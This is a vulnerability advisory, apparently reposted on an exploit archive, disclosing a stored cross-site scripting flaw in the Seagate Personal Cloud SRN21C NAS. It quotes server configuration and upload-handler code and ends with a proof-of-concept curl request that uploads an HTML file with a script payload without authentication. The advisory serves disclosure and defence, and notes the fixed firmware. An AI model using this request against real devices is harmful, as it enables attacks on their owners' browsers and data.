Twenty Year Anniversary

Seagate Media Server SRN21C Cross Site Scripting

Seagate Media Server SRN21C Cross Site Scripting
Posted Apr 19, 2018
Authored by Yorick Koster

Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0 suffers from a persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 26ee374c709608e517d6ee7adb023c0b

Seagate Media Server SRN21C Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Seagate Media Server stored Cross-Site Scripting vulnerability
------------------------------------------------------------------------
Yorick Koster, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Seagate Personal Cloud is a consumer-grade Network-Attached Storage
device (NAS). By default Seagate Media Server allows unauthenticated
users to upload files to a public share. Once a file is uploaded it can
also be downloaded again from the NAS.

No restrictions are enforced on which file types a user can upload, any
type of file can be uploaded including executable files & HTML files.
File downloads are directly handled by Lighttpd and because of this file
are processed based on its (MIME) type. An attacker can upload an HTML
file and cause Lighttpd to treat the file as a regular web page.
Consequently, uploading an HTML file can be used to execute a stored
Cross-Site Scripting attack.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a Seagate Personal Cloud model SRN21C running
firmware versions 4.3.16.0 and 4.3.18.0. It is likely that other
devices/models are also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This vulnerability has been fixed in firmware version 4.3.18.4.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/seagate-media-server-stored-cross-site-scripting-vulnerability.html

Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
)),
".psp/"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. Seagate Media Server contains an endpoint named upload.psp that allows unauthenticated users to upload arbitrary files to a public share. No restrictions are enforced on which file types a user can upload, any type of file can be uploaded including executable files & HTML files.

/usr/lib/python2.7/site-packages/sms/modules/FileOperations/file_operations.py:

@csrf_exempt
def upload( request ):
logDebug('Processing upload request')
response = {'stat': 'failed', 'code': '77', 'message': 'Something went wrong.'}
if checkDBSQLite( ):
response['code'] = '80'
response['message'] = "The Database has not been initialized or mounted yet!"
logDebug('Upload handler called but Database has not been initialized or mounted yet!')
return create_upload_response(json.dumps(response), request)
try:
logDebug('Processing request with UploadRequestHandler')
return UploadRequestHandler.UploadRequestHandler( request ).process( )
except UploadRequestHandler.UploadRequestHandlerException as e:
response['code'] = str(e.code)
response['message'] = e.message
logException('Exception processing UploadRequestHandlerException upload request')
return create_upload_response(json.dumps(response), request)
except:
logException('Exception processing upload request')



Files are stored within the /media/sms-data/Public/ folder on the NAS. This folder is exposed in the Lighthttp configuration and are thus directly accessible through a web browser.

/etc/lighttpd/conf.d/sms.conf:

$HTTP["url"] =~ "^"+"/media/sms-data" {
server.document-root = "/"
server.follow-symlink="disable"
}

When the user browses to the uploaded file, the file will be processed based on its (MIME) type. An attacker can upload an HTML file and cause Lighttpd to treat the file as a regular web page. Consequently, uploading an HTML file can be used to execute a stored Cross-Site Scripting attack. Once uploaded the file can be used to execute a Cross-Site Scripting attack by tricking an (authenticated) user into visiting the uploaded file in their browser.
Proof of concept

First upload an HTML file containing an HTML payload, this can be done using the following curl command:

curl -i -s -k -X $'POST' \
-H $'Content-Type: multipart/form-data; boundary=---------------------------75230038716763744201986911947' \
--data-binary $'-----------------------------75230038716763744201986911947\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"xss.html\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0a<script>alert(\'xss\');</script>\x0a\x0d\x0a-----------------------------75230038716763744201986911947\x0d\x0aContent-Disposition: form-data; name=\"force_flag\"\x0d\x0a\x0d\x0atrue\x0d\x0a\x0d\x0a-----------------------------75230038716763744201986911947--\x0d\x0a' \
$'http://personalcloud.local/upload.psp'

After running the curl command the HTML file can be viewed via the following URL:
http://personalcloud.local/media/sms-data/Public/xss.html

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close